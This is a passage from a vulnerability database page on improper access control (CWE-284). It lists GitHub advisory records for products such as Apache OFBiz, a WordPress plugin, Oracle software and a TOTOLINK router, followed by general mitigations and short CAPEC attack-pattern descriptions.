"details": "Improper Access Control vulnerability in Apache OFBiz in multi-tenant deployments.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue.",
"id": "GHSA-48vq-7h22-vf29",
"modified": "2026-05-19T21:32:02Z",
"published": "2026-05-19T12:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31388"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/npjchvnpnosoqpto46s2om12jd9s7py7"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/19/21"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-48W7-7V5C-HXXV
Vulnerability from github – Published: 2023-01-10 18:30 – Updated: 2026-04-08 21:31The Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_activate_required_theme' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to activate the 'royal-elementor-kit' theme. If no such theme is installed doing so can also impact site availability as the site attempts to load a nonexistent theme.
{
"affected": [],
"aliases": [
"CVE-2022-4700"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-10T17:15:00Z",
"severity": "HIGH"
},
"details": "The Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the \u0027wpr_activate_required_theme\u0027 AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to activate the \u0027royal-elementor-kit\u0027 theme. If no such theme is installed doing so can also impact site availability as the site attempts to load a nonexistent theme.",
"id": "GHSA-48w7-7v5c-hxxv",
"modified": "2026-04-08T21:31:46Z",
"published": "2023-01-10T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4700"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/admin/templates-kit.php?rev=2833046"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/blog/2023/01/eleven-vulnerabilities-patched-in-royal-elementor-addons"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cdd464ad-24bc-4922-8bfa-ac42fbe60b52"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cdd464ad-24bc-4922-8bfa-ac42fbe60b52?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-48XQ-MF9F-MQWP
Vulnerability from github – Published: 2026-09-15 21:32 – Updated: 2026-09-15 21:32Vulnerability in the RDBMS component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Authenticated User privilege with network access via Oracle Net to compromise RDBMS. While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of RDBMS. CVSS 3.1 Base Score 7.7 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-83088"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-15T20:18:18Z",
"severity": "HIGH"
},
"details": "Vulnerability in the RDBMS component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Authenticated User privilege with network access via Oracle Net to compromise RDBMS. While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of RDBMS. CVSS 3.1 Base Score 7.7 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H).",
"id": "GHSA-48xq-mf9f-mqwp",
"modified": "2026-09-15T21:32:01Z",
"published": "2026-09-15T21:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83088"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspusep2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-492Q-2XM9-M9C3
Vulnerability from github – Published: 2022-05-17 03:48 – Updated: 2022-05-17 03:48Huawei AnyMail before 2.6.0301.0060 allows remote attackers to cause a denial of service (application crash) via a crafted compressed email attachment.
{
"affected": [],
"aliases": [
"CVE-2016-6826"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-09-26T16:59:00Z",
"severity": "HIGH"
},
"details": "Huawei AnyMail before 2.6.0301.0060 allows remote attackers to cause a denial of service (application crash) via a crafted compressed email attachment.",
"id": "GHSA-492q-2xm9-m9c3",
"modified": "2022-05-17T03:48:23Z",
"published": "2022-05-17T03:48:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6826"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160815-01-anymail-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-494P-2HMJ-HM68
Vulnerability from github – Published: 2026-08-31 15:34 – Updated: 2026-09-01 15:31Incorrect access control in the getRoamingCfg function of TOTOLINK T6 4.1.5cu.748_B20211015 allows unauthenticated attackers to obtain the roaming enablement flag via sending a crafted POST request to /cgi-bin/cstecgi.cgi.
{
"affected": [],
"aliases": [
"CVE-2026-51672"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-31T14:17:14Z",
"severity": "CRITICAL"
},
"details": "Incorrect access control in the getRoamingCfg function of TOTOLINK T6 4.1.5cu.748_B20211015 allows unauthenticated attackers to obtain the roaming enablement flag via sending a crafted POST request to /cgi-bin/cstecgi.cgi.",
"id": "GHSA-494p-2hmj-hm68",
"modified": "2026-09-01T15:31:00Z",
"published": "2026-08-31T15:34:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-51672"
},
{
"type": "WEB",
"url": "https://github.com/DarkBoulder/CVE-Vendor-Coordination/blob/main/TOTOLINK/README.md"
},
{
"type": "WEB",
"url": "https://github.com/ShengWu00/CVE-Vendor-Coordination/blob/main/TOTOLINK/README.md"
},
{
"type": "WEB",
"url": "https://www.totolink.net"
},
{
"type": "WEB",
"url": "https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/190/ids/36.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4954-M8M8-6MCR
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the Oracle Complex Maintenance, Repair and Overhaul product of Oracle E-Business Suite (component: Common Utilities). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Complex Maintenance, Repair and Overhaul. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Complex Maintenance, Repair and Overhaul accessible data as well as unauthorized read access to a subset of Oracle Complex Maintenance, Repair and Overhaul accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-60717"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:18:12Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle Complex Maintenance, Repair and Overhaul product of Oracle E-Business Suite (component: Common Utilities). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Complex Maintenance, Repair and Overhaul. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Complex Maintenance, Repair and Overhaul accessible data as well as unauthorized read access to a subset of Oracle Complex Maintenance, Repair and Overhaul accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).",
"id": "GHSA-4954-m8m8-6mcr",
"modified": "2026-07-22T00:31:57Z",
"published": "2026-07-22T00:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60717"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.